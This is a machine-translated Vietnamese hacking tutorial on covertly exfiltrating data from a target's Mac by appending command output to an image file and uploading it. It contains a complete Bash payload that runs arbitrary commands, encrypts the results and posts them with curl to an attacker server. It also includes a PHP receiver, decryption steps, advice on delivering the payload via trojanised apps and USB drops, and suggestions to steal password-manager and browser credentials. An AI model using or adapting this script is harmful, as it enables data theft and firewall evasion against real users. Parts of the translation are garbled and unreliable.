Dữ liệu có thể được đưa vào hình ảnh một cách nhanh chóng mà không cần sử dụng các công cụ siêu dữ liệu. Kẻ tấn công có thể sử dụng kiến ​​thức này để lọc thông tin nhạy cảm từ MacBook bằng cách gửi ảnh đến các trang web chia sẻ tệp thông thường.Tiếp tục các chủ đề về trốn tránh DPI , che giấu tải trọng và sử dụng các trang web phổ biến để vượt qua tường lửa , chúng tôi sẽ xem xét một cách khác để nhúng dữ liệu vào hình ảnh. Không giống như sử dụng thẻ siêu dữ liệu để lưu trữ tải trọng bên trong một hình ảnh , phương pháp này liên quan đến việc tiêm văn bản trực tiếp vào phần chân trang của tệp hình ảnh.

 

Hiểu về cuộc tấn công

Một tập lệnh Bash đơn giản đã được tạo cho bài viết này để chứng minh làm thế nào kẻ tấn công có thể dễ dàng lọc dữ liệu bên trong hình ảnh được tìm thấy trên máy tính Mac đích. Kịch bản bên dưới và cũng có sẵn trên GitHub của tôi .

#!/bin/bash

# `if` statement to detemine if the message is a 'response' one
# This is the command being executed and embedded in the photo.
# Single-quotes are used here to help with escaping special
# characters within the desired command(s).
exfilData='ls -lah "/Users/$USER/"'

# Where the attackers PHP server is located. This needs to be
# updated to use a public domain, like Dropbox or something
# with an official API.
exfilSite="http://attacker.com/index.php"

# If no suitable image is found on the target computer, this
# image will be downloaded and used instead. By default, the
# script tries to use an image already on the MacBook to
# minimize the amount of traffic originating the device.
tmpImage="https://support.apple.com/content/dam/edam/applecare/images/en_US/repair/psp-repair_2x.png"

# The `find` command used to locate a suitable image to embed
# data into. It will check the users home (~) directory for the
# first (-print -quit) JPG, JPEG, or PNG smaller than 100k.
# The filesize maximum and filetypes are somewhat arbitrary.
# The size can be increased and the filetypes can be expanded
# to use MP3, PDF, and MOV files, for example.
findImage="$(find ~ -type f -size -100k \( -iname '*.jp*g' -o -iname '*.png' \) -print -quit)"

# If the encryption option is enabled, the password is hardcoded
# into the payload for convenience, making it possible to
# reverse engineer and decrypt the exfiltrated data inside the
# image. This is a quick and dirty solution.
pass="password123"

# An `if` statement to detect if a suitable PNG or JPG was
# discovered. If not, it will download the backup image
# defined earlier in the script (tmpImage).
if [[ ! -f "$findImage" ]]; then
  # Curl will silently (-s) download the backup image and
  # save it (-o) into the /tmp directory with the i.jpg filename.
  curl -s "$tmpImage" -o "/tmp/i.jpg"
  # The backup image is set into the exfilImage variable for
  # later commands.
  exfilImage="/tmp/i.jpg"
else
  # If a suitable image is discovered, the exfilImage variable
  # is set for later commands.
  exfilImage="$findImage"
fi

# It may or may not be desirable to encrypt the payload output
# before embedding it into the image. Set to `1` to enable
# encryption, set to `0` to disable it.
useEncrypt='1'

# An `if` statement to determine the value of the exfilType
# variable. If `1` it will encrypt with openssl (LibreSSL).
# Otherwise, it will not encrypt.
if [[ "$useEncrypt" = '1' ]]; then
  # OpenSSL is used to encrypt (enc) the payload output
  # as well as encode (-a -A) the encrypted data with a
  # password (-pass).
  exfilData="$(openssl enc -aes-256-cbc -a -A -in <(eval $exfilData) -pass pass:$pass)"
else
  # If encryption isn't used, Bash will evaluable the variable
  # and execute it as a command.
  exfilData="$(eval $exfilData)"
fi

# Printf is used to embed the command output directly into
# image. It will append (>>) the data on a newline (\n\n).
# The newlines make it easy to quickly extract the data
# after it has been delivered to the attacker.
printf '\n\n%s' "$exfilData" >> "$exfilImage"

# Curl will exfiltrate the image to the attackers PHP
# server.
curl -F "image=@$exfilImage" "$exfilSite"

Tập lệnh trước tiên sẽ thực thi một lệnh tùy ý (ví dụ: system_profiler ). Đầu ra của lệnh đó là dữ liệu mà kẻ tấn công muốn thực hiện. Sau đó, tập lệnh sẽ cố gắng định vị hình ảnh JPEG hoặc PNG trong thư mục home (~ /) của mục tiêu và đưa đầu ra của lệnh trực tiếp vào hình ảnh. Hình ảnh sau đó được tải lên ngay lập tức (nhập lậu dữ liệu) lên bất kỳ trang web nào mà kẻ tấn công mong muốn.

  • Đừng bỏ lỡ: Bắt đầu với hack macOS

Dưới đây là một ví dụ về một tệp hình ảnh nhỏ được mở bằng trình soạn thảo văn bản nano ở Kali. Chúng ta có thể thấy hình ảnh tạo ra một số ký tự khác thường vì ảnh không được mở bằng trình chỉnh sửa văn bản.

�PNG
^Z
^@^@^@
IHDR^@^@^D�^@^@^A^@^H^F^@^@^@�^Ebk^@^@^L^WiCCPICC Profile^@^@H��W^GXS�^V�[�     %�J     �A4�&%�H��FH^B  %�^T^T�
Wp-��`Y�U^Q^E�^B�Z�`a��-���ł
�7      ���}����o2?���?3瞹�^L^@�j�T��j^CP Q�^R^cXi�^Y,R^O@^A^E��(`��˥���(^@������5����N*��|�_��@(�^C��A�%��^K �^K^@6�/�)^@ �A��T�T�� f$
��_c��N^U�"^RT#�ۍ��H^Uր��$+&v��B,P�U��"eD2�t^@P�/^O�^Xƺ^B^H�^P^GeI�cT��^Nb�lq^XwH^GM^P+�I_�Byh"İr�I�^d�X�$[^V�^Y���d��L�˔yɜa��"!W�O�xG$
ł^R@��DS^\`w����t':��B7�6`�X'v^Pk^AAPa(/y0^[���B��gw�7����7^C�^PNS��+�PZ,^S��^T,^N��    Y\      ^?�(�^K��^[^@�7th���W^?^[^Q���6^E�k�?�$
f���^T���`^U�^A^[�&�
�^D�A^K8^@����,�^@��۠^K��g�^OV�^@� $��0^P#�^\�F^\^Q^W�^K�GB�($^AIG2�^\D�(�^Y�|�^\�@j��H=�^K�^_9��F."7�n� �
��b(^Ue���

Cuộn xuống dưới cùng của cùng một tệp, chúng ta sẽ tìm thấy những gì dường như là đầu ra của một số lệnh ls và system_profiler .

�^D^^�'�?^?~���P��"�f��"c�5h^@w衇F�^K��x2VS�L�P$]^D����{h�����uL^f��ia������0pݺuqg^Ha�Gg��@�G�^^����<9f^W����^O?�kH��"UC��<������f^?]^N^X0 d�"g^WZ�ǽt���?���twu�G|.��yM~�k7�C^N9$e�������?nܸ^Bg^WL���^P�^L^S��7�IW�^F�V��{�^]w�ʸ~�+W��ˤ^F��N;�����ɐW��ץ�Vg^_-,,^L�l��2�~�v����P.b�$
�Xr�^U^U^U��D���l�^Z�J^W��T����<�^D�a����g�c˝s�9[$�s�~��i(;gΜ�L(���^[kL�)o6m:���ܶ'��u�~��%G^\q�]��mk��իW�F�^^�E�kM^O^Z��[�����^Z���d�f6J��
�4a3^B^H �^@^B^H �^@^B^H ��v" èU��^E-�Z).       ��'�#I�X��jZ']F�^?�����^?����+���ꩧ��+��'T0ǹ��^[k$��|���^[������v
 ^��m�^V�i;�v��'n�9sf��Ǯ\�m�����⋷�^Ep�=۵�6�Kڥ\�s���Ž�^_���������֦f����qL;9N���B{�        'l^�dI�>Gsު����1�0f̘JS�g�a�8�Z}��V'ݐv��6�����^Epz�O>�$1y������'��:��TbV9���������t�\
�uVd����Pf�MH^X\{�q�m�e^@��*x�^@^B^H �^@^B^H �^@^B^H �@�^E���3���)��sϐt1^L�,����j��EK�5��^{��K�^N�.�I�����<^]+^Z�^F�^[��'�3yJ^ELB�!n�@�^N��F���^\\F�8Dqq�5+�tU^Nj7aG&^W���:��s]���g�]k�xA�^UW��Jp��y���X^&�h� ����\*���t�^F��~����k�{�-��H@/��m� J��g�'^D^P@^@^A^D^P@^@^A^D^P@��^$
�B �{.��^P.��^\^K^A^D^P@^@^A^D^P@^@^A^D^P��^EZ^S�ك�o�^L�^A^B^Ht^F�^G^^x�N�:ýr�^H �^@^B^H �^@^B^H �^@^B;�@�c��8�ʝ �^@^B^H �^@^B^H �^@^B^H �^@^B^H �>^B�p���Y^Q@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D:�^@!\'z��*^B^H �^@^B^H �^@^B^H �^@^B^H �@�^H^Pµ�;gE^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^$
�#�^@^B^H �^@^B^H �^@^B^H �^@^B^H �Q����
���g�@�nݬ�֯_^_X�bE@�E"^Q�H�p6^Eo^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P�&��oZ�6dȐ���{����^e^K��8���^Wc�ys�^U^B^H �^@^B^H �^@^B^H �^@^B^H �^@^B��vA�ӧOJ^@g6j^E�n�6�E^Hg$X"�^@^B^H �^@^B^H �^@^B^H �^@^B^H �Q@+���-�K���q��
!\6)�#�^@^B^H �^@^B^H �^@^B^H �^@^B^H �E �L�V����UUۘ^W!��`�^@^B^H �^@^B^H �^@^B^H �^@^B^H �@^[   ^Pµ^Q,�E^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@�^H^P�^Y    �^H �^@^B^H �^@^B^H �^@^B^H �^@^B^H��^@!\^[�rX^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D�^@!��`�^@^B^H �^@^B^H �^@^B^H �^@^B^$
�b���1/^S�m[c��D^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^AW�P(^Tذa��6]�~����1/
��J*^W6+X"�^@^B^H �^@^B^H �^@^B^H �^@^B^H �@�^B�p8�r�J�j8���m�F_�dr��p���PW�B^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@��^E��Mö�^K^W^F֮]^[������u�n3�pR^@7/�H$f����*�� ���S�^B^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D��h ^^�^G�/_^^x��w,^P
 ^BN�9^3B����뺣$���_B�'^]�x�^@^B^H �^@^B^H �^@^B^H �^@^B^H �@�^W� {Qmmj
�^T�Y�[$^R      ��^Fp�μ�+��s�̙�^]S�^_^?��u=z�X!
F��C寻i�^R^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^DZ$�V·yR��Ϲs�>*{&�^O@��q�2��^@^@^@^@IEND�B`�

total 80
drwx------+ 19 user  staff   608B May  3 02:22 Desktop
drwxr-xr-x+ 17 user  staff   544B May  3 01:00 .
-rw-------   1 user  staff    55B May  3 01:00 .lesshst
drwx------  59 user  staff   1.8K May  2 23:48 .bash_sessions
-rw-------   1 user  staff    23K May  2 22:17 .bash_history
-rw-r--r--@  1 user  staff   8.0K May  2 22:11 .DS_Store
drwx------   7 user  staff   224B Apr 28 06:46 .Trash
drwx------+ 33 user  staff   1.0K Apr 26 21:33 Documents
drwx------@ 55 user  staff   1.7K Apr 25 06:58 Library
drwxr-xr-x  15 user  staff   480B Nov 18 11:36 .atom
drwx------+  4 user  staff   128B Nov 18 06:32 Downloads
drwx------   3 user  staff    96B Nov 18 05:51 .config
drwx------+  3 user  staff    96B Oct 29  2018 Movies
drwx------+  3 user  staff    96B Oct 29  2018 Music
drwx------+  3 user  staff    96B Oct 29  2018 Pictures
drwxr-xr-x+  4 user  staff   128B Oct 29  2018 Public
drwxr-xr-x   5 root  admin   160B Oct 29  2018 ..

Firewall:

    Firewall Settings:

      Mode: Allow all incoming connections
      Firewall Logging: Yes
      Stealth Mode: No

Các chi tiết kỹ thuật về cách hình ảnh có thể giữ dữ liệu vượt quá phạm vi của bài viết này. Điều quan trọng là dữ liệu được tìm thấy ở dưới cùng của hình ảnh không làm hỏng ảnh. Những người xem hình ảnh như Apple Preview sẽ tiếp tục mở hình ảnh mà không phát hiện dữ liệu trong tệp. Nó cũng làm cho hình ảnh trở thành một cơ chế vận chuyển tuyệt vời để lọc dữ liệu.

Các kịch bản hoàn thành việc tiêm dữ liệu vào file image sử dụng I / O chuyển hướng . Cũng giống như cách có thể nối dữ liệu ( >> ) vào tệp văn bản, tập lệnh sẽ nối đầu ra lệnh vào dưới cùng của tệp hình ảnh.

Tại sao Exfiltrate dữ liệu bên trong hình ảnh?

Lợi ích chính của việc lọc dữ liệu theo cách này là trốn tường lửa. Với các giải pháp tường lửa dựa trên mạng , có thể quan sát mọi gói tin rời khỏi một thiết bị cụ thể trên mạng. Các chính sách tường lửa nghiêm ngặt khiến kẻ tấn công gặp khó khăn trong việc lấy số lượng lớn thông tin ra khỏi mạng. Dữ liệu buôn lậu bên trong hình ảnh giúp giải quyết trở ngại này.

Wireshark chụp hình ảnh chứa dữ liệu exfil được gửi đến một trang web tùy ý .

Hiểu về tải trọng

Hãy chia nhỏ kịch bản , từng dòng một.

Nó bắt đầu với một số biến cần được thay đổi cho phù hợp với kịch bản. Biến đầu tiên sẽ xác định (các) lệnh nào được thực thi trên MacBook đích. Đầu ra của lệnh được nhúng trong tệp hình ảnh. Ví dụ dưới đây thực thi một lệnh ls đơn giản của thư mục chính của mục tiêu. Dấu ngoặc đơn được sử dụng cho biến này để giúp thoát các ký tự . Hãy chú ý điều này khi đưa ra các lệnh để thực thi.

exfilData='ls -lah "/Users/$USER/"'

Có nhiều nơi hình ảnh có thể được hoàn thành. Với các trang web như Dropbox và Flickr, API chính thức tồn tại để giúp tải lên tệp thuận tiện nhất có thể cho người dùng cuối (và kẻ tấn công). Tương tự, curl có thể mô phỏng các yêu cầu POST, gửi hình ảnh đến các trang web chia sẻ tệp và các diễn đàn khác. Để trình diễn này, chúng tôi sẽ sử dụng một thiết lập máy chủ PHP đơn giản trên hệ thống của kẻ tấn công.

exfilSite="http://attacker.com/index.php"

Như chúng ta sẽ thấy sau trong tập lệnh, nó cố gắng liệt kê một hình ảnh khả thi để lưu dữ liệu đầu ra vào. Tuy nhiên, nếu không có gì được phát hiện, tập lệnh sẽ tải xuống hình ảnh bên dưới, sử dụng nó để nhập dữ liệu đầu ra thay thế. URL dưới đây liên kết đến một hình ảnh ngẫu nhiên trên một trong các tên miền của Apple, nhưng có thể là bất kỳ JPEG hoặc PNG nào trên internet.

tmpImage="https://support.apple.com/content/dam/edam/applecare/images/en_US/repair/psp-repair_2x.png"

Tập lệnh sẽ cố gắng tìm một tệp hình ảnh ( -type f ) dưới 100k và chứa phần mở rộng tệp JPEG, JPG hoặc PNG. Nó sẽ sử dụng hình ảnh đầu tiên ( -print -quito ) trong tiêu chí này làm tệp exfiltration. Các yêu cầu kích thước tập tin chủ yếu là tùy ý. Các tệp hình ảnh nhỏ hơn sẽ làm cho quá trình tải lên nhanh hơn. Các tùy chọn tìm kiếm này chủ yếu được đặc trưng để chỉ ra cách tinh chỉnh các tiêu chí có thể được thực hiện.

findImage="$(find ~ -type f -size -100k \( -iname '*.jp*g' -o -iname '*.png' \) -print -quit)"

Kịch bản hỗ trợ khả năng mã hóa dữ liệu đầu ra lệnh trước khi nhúng nó vào hình ảnh. Kích hoạt nó với 1 , vô hiệu hóa nó bằng 0 .

useEncrypt='1'

Với mã hóa được kích hoạt, mật khẩu dưới đây được sử dụng để bảo vệ mật khẩu dữ liệu đầu ra. Nó được mã hóa thành tải trọng để thuận tiện, có thể giúp đảo ngược kỹ thuật và giải mã dữ liệu đã hết trong hình ảnh nhưng có nghĩa là hoạt động như một giải pháp nhanh chóng và bẩn thỉu. Public-key_cryptography sẽ có ý nghĩa hơn ở đây.

pass="password123"

Phần còn lại của tập lệnh không cần phải sửa đổi. Tất cả các biến trên được mã hóa cứng vào các phần dưới đây.

Dưới đây là câu lệnh if đầu tiên , sẽ xác định xem có phát hiện được tệp JPEG hoặc PNG phù hợp hay không và sử dụng nó trong các lệnh sau hoặc tải xuống hình ảnh Apple được xác định trong biến “tmpImage”.

if [[ ! -f "$findImage" ]]; then
  curl -s "$tmpImage" -o "/tmp/i.jpg"
  exfilImage="/tmp/i.jpg"
else
  exfilImage="$findImage"
fi

Câu lệnh if thứ hai sử dụng OpenSSL ( LibreSSL trong macOS hoặc Mac OS X) để mã hóa dữ liệu đầu ra bằng mật khẩu biến $ pass . Mặt khác, nó sẽ không mã hóa và đưa dữ liệu đầu ra vào hình ảnh trong bản rõ.

if [[ "$useEncrypt" = '1' ]]; then
  exfilData="$(openssl enc -aes-256-cbc -a -A -in <(eval $exfilData) -pass pass:$pass)"
else
  exfilData="$(eval $exfilData)"
fi

Ở đây, chúng ta có chuyển hướng I / O. Printf được sử dụng trong phần bổ sung ( >> ) đầu ra lệnh vào tệp hình ảnh. Các dòng mới ( \ n \ n ) được thêm vào để tách dữ liệu được chèn ra khỏi dữ liệu ảnh thô, giúp dễ dàng trích xuất trong các lệnh sau.

printf '\n\n%s' "$exfilData" >> "$exfilImage"

Cuối cùng, hình ảnh được lọc đến máy chủ của kẻ tấn công bằng cách sử dụng curl với tùy chọn -F để gửi hình ảnh.

curl -F "image=@$exfilImage" "$exfilSite"

Bước 1Khởi động máy chủ PHP

Ví dụ được sử dụng trước đó trong bài viết này sử dụng File.io để lưu trữ (các) hình ảnh được lọc. Mặc dù các trang web chia sẻ tệp tương tự là lý tưởng cho cuộc tấn công này, tôi sẽ nhanh chóng chỉ ra cách sử dụng máy chủ PHP cục bộ trong Kali để chặn hình ảnh.

Giống như chuẩn bị một máy chủ để lọc ảnh chụp màn hình , PHP được sử dụng để chặn hình ảnh đến từ MacBook của mục tiêu. Nó được trình bày chuyên sâu trong hướng dẫn đó, vì vậy hãy chắc chắn tham khảo rằng để biết chi tiết thiết lập.

Lưu mã PHP bên dưới vào một tệp có tên “index.php” và khởi động máy chủ với php -S 0.0.0.0:80 .

<?php
    $file = date("dHis") . ".png";
    move_uploaded_file($_FILES['image']['tmp_name'], $file);
?>

Bước 2 Triển khai Tải trọng

Có một số cách để người dùng Mac thực thi một số mã bất chính. Phương pháp đơn giản nhất để thỏa hiệp một mục tiêu liên quan đến kỹ thuật xã hội cho họ mở AppleScripts . Điều đó có thể được thực hiện bằng cách thực hiện các cuộc tấn công thả chết USB, mà macOS rất dễ bị ảnh hưởng hoặc bỏ qua Gatekeeper .

Ứng dụng Trojan hóa được thực hiện để xuất hiện dưới dạng PDF thông thường.

Để biết thêm về chủ đề giọt chết USB, hãy xem bài viết của chúng tôi về việc hack mật khẩu Wi-Fi bằng cách sử dụng giọt chết USB . Nó tập trung vào việc thỏa hiệp các mục tiêu của Windows 10 nhưng nói sâu về việc sử dụng ổ flash USB làm vectơ tấn công.

Bước 3 Truy cập dữ liệu đã hoàn thành

Sau khi máy chủ PHP nhận được hình ảnh đã lọc, trích xuất dữ liệu nhúng. Nếu mã hóa bị vô hiệu hóa trong tải trọng, dữ liệu được lọc ra sẽ dễ dàng được trích xuất bằng lệnh tail . Thay đổi số ( -n ) của dòng để in nếu cần.

~$ tail -n 20 image.png

1   ���g�@�nݬ�֯_X�bE@�E"�H�p6o@@@@�&��oZ�6dȐ���{����

��J*6+X"    �@��p8�r�J�j8���m�F_�dr��p��PW�B@@@@����Mö�     ��!\rX@@@@�!��`    �@   ,�E@@@@�        ��!\rX@@@@�!��`    �@   ,�E@@@�q��`���1�
F��C寻i�@@@@Z$�V·yR��Ϲs�>*{&�@��q�2��IEND�B`�          ]����u�n3�pR7/�H$f���*�� ���S�@@@@��h ��/_x�w,

     2  total 80
     3  drwx------+ 19 user  staff   608B May  3 02:22 Desktop
     4  drwxr-xr-x+ 17 user  staff   544B May  3 01:00 .
     5  -rw-------   1 user  staff    55B May  3 01:00 .lesshst
     6  drwx------  59 user  staff   1.8K May  2 23:48 .bash_sessions
     7  -rw-------   1 user  staff    23K May  2 22:17 .bash_history
     8  -rw-r--r--@  1 user  staff   8.0K May  2 22:11 .DS_Store
     9  drwx------   7 user  staff   224B Apr 28 06:46 .Trash
    10  drwx------+ 33 user  staff   1.0K Apr 26 21:33 Documents
    11  drwx------@ 55 user  staff   1.7K Apr 25 06:58 Library
    12  drwxr-xr-x  15 user  staff   480B Nov 18 11:36 .atom
    13  drwx------+  4 user  staff   128B Nov 18 06:32 Downloads
    14  drwx------   3 user  staff    96B Nov 18 05:51 .config
    15  drwx------+  3 user  staff    96B Oct 29  2018 Movies
    16  drwx------+  3 user  staff    96B Oct 29  2018 Music
    17  drwx------+  3 user  staff    96B Oct 29  2018 Pictures
    18  drwxr-xr-x+  4 user  staff   128B Oct 29  2018 Public
    19  drwxr-xr-x   5 root  admin   160B Oct 29  2018 ..

Nếu mã hóa được bật, OpenSSL ( LibreSSL ) phải được cài đặt trong Kali để giải mã dữ liệu. Hãy chắc chắn cài đặt LibreSSL phiên bản 2.8 . Trong thử nghiệm của tôi, phiên bản 2.9.x dường như không tương thích với phiên bản LibreSSL của Mojave; dữ liệu sẽ không giải mã được.

Trong Kali, bắt đầu bằng cách tải xuống tarball LibreSSL.

~$ wget 'https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.8.2.tar.gz'

--2019-04-28 21:08:46--  https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/libressl-2.8.2.tar.gz
Resolving ftp.openbsd.org (ftp.openbsd.org)... 129.128.5.191
Connecting to ftp.openbsd.org (ftp.openbsd.org)|129.128.5.191|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3373599 (3.2M) [text/plain]
Saving to: ‘libressl-2.8.2.tar.gz’

libressl-2.8.2.tar.gz             100%[==============>]   3.22M   255KB/s    in 25s

2019-04-28 21:09:15 (133 KB/s) - ‘libressl-2.8.2.tar.gz’ saved [3373599/3373599]

Giải nén nó bằng lệnh tar sau để giải nén ( x ) tệp .gz ( z ) ( f ).

~$ tar -xzf libressl-*.tar.gz

libressl-2.8.2/m4/check-hardening-options.m4
libressl-2.8.2/m4/check-libc.m4
libressl-2.8.2/m4/check-os-options.m4
libressl-2.8.2/m4/disable-compiler-warnings.m4
libressl-2.8.2/m4/libtool.m4

...

libressl-2.8.2/man/tls_load_file.3
libressl-2.8.2/man/tls_ocsp_process_response.3
libressl-2.8.2/man/tls_read.3
libressl-2.8.2/man/openssl.cnf.5
libressl-2.8.2/man/x509v3.cnf.5
libressl-2.8.2/man/Makefile.in
libressl-2.8.2/man/CMakeLists.txt

Khi đã xong, thay đổi ( cd ) thành thư mục libressl – * / mới.

~$ cd libressl-*/

Sử dụng lệnh ./cool để đảm bảo mọi thứ đã sẵn sàng để xây dựng ứng dụng. Nó sẽ mất một vài phút để hoàn thành.

~$ ./configure && make

checking build system type... x86_64-pc-linux-gnu
checking host system type... x86_64-pc-linux-gnu
checking for a BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /usr/bin/mkdir -p

...

make[1]: Entering directory '/opt/libressl-2.8.2/man'
make[1]: Nothing to be done for 'all'.
make[1]: Leaving directory '/opt/libressl-2.8.2/man'
make[1]: Entering directory '/opt/libressl-2.8.2'
make[1]: Nothing to be done for 'all-am'.
make[1]: Leaving directory '/opt/libressl-2.8.2'

Sau đó, sử dụng make install để cài đặt phần mềm cần thiết vào các thư mục hệ thống phù hợp.

~$ make install

make install
Making install in crypto
make[1]: Entering directory '/opt/libressl-2.8.2/crypto'
make  install-am
make[2]: Entering directory '/opt/libressl-2.8.2/crypto'

...

make[2]: Nothing to be done for 'install-exec-am'.
 /usr/bin/mkdir -p '/usr/local/lib/pkgconfig'
 /usr/bin/install -c -m 644 libcrypto.pc libssl.pc libtls.pc openssl.pc '/usr/local/lib/pkgconfig'
make[2]: Leaving directory '/opt/libressl-2.8.2'
make[1]: Leaving directory '/opt/libressl-2.8.2'

Cuối cùng, sử dụng lệnh ldconfig để tạo các liên kết và bộ đệm cần thiết cho các thư viện chia sẻ gần đây nhất.

~$ ldconfig

Để xác minh cài đặt thành công, hãy sử dụng lệnh whereis để tìm các nhị phân openssl .

~$ whereis openssl

openssl: /usr/bin/openssl /usr/local/bin/openssl /usr/share/man/man1/openssl.1ssl.gz

Nhị phân trong / usr / local / bin / là phiên bản mới nhất và có thể được xác minh bằng lệnh openssl bên dưới .

~$ /usr/local/bin/openssl version

LibreSSL 2.8.2

Với việc cài đặt được thực hiện, dữ liệu trong ảnh có thể được trích xuất và giải mã bằng lệnh dưới đây.

~$ /usr/local/bin/openssl enc -d -aes-256-cbc -a -A -pass pass:password123 -in <(tail -n1 image.png)

total 80
drwx------+ 19 user  staff   608B May  3 02:22 Desktop
drwxr-xr-x+ 17 user  staff   544B May  3 01:00 .
-rw-------   1 user  staff    55B May  3 01:00 .lesshst
drwx------  59 user  staff   1.8K May  2 23:48 .bash_sessions
-rw-------   1 user  staff    23K May  2 22:17 .bash_history
-rw-r--r--@  1 user  staff   8.0K May  2 22:11 .DS_Store
drwx------   7 user  staff   224B Apr 28 06:46 .Trash
drwx------+ 33 user  staff   1.0K Apr 26 21:33 Documents
drwx------@ 55 user  staff   1.7K Apr 25 06:58 Library
drwxr-xr-x  15 user  staff   480B Nov 18 11:36 .atom
drwx------+  4 user  staff   128B Nov 18 06:32 Downloads
drwx------   3 user  staff    96B Nov 18 05:51 .config
drwx------+  3 user  staff    96B Oct 29  2018 Movies
drwx------+  3 user  staff    96B Oct 29  2018 Music
drwx------+  3 user  staff    96B Oct 29  2018 Pictures
drwxr-xr-x+  4 user  staff   128B Oct 29  2018 Public
drwxr-xr-x   5 root  admin   160B Oct 29  2018 ..

Tải trọng ( ls ) được sử dụng trong bài viết này là một ví dụ cơ bản. Trong một kịch bản thực tế, kẻ tấn công có thể thiết kế tập lệnh để xác định vị trí và thực hiện dữ liệu LastPass và 1Passwords cho những kẻ tấn công vũ phu ngoại tuyến . Các cuộc tấn công exfiltration khác có thể liên quan đến mật khẩu trình duyệt được lưu trong bộ nhớ cache , Lịch sử thiết bị đầu cuối , lưu lượng truy cập web và bất kỳ dữ liệu nào mà kẻ tấn công cho là đáng để đánh cắp.

Để lại một bình luận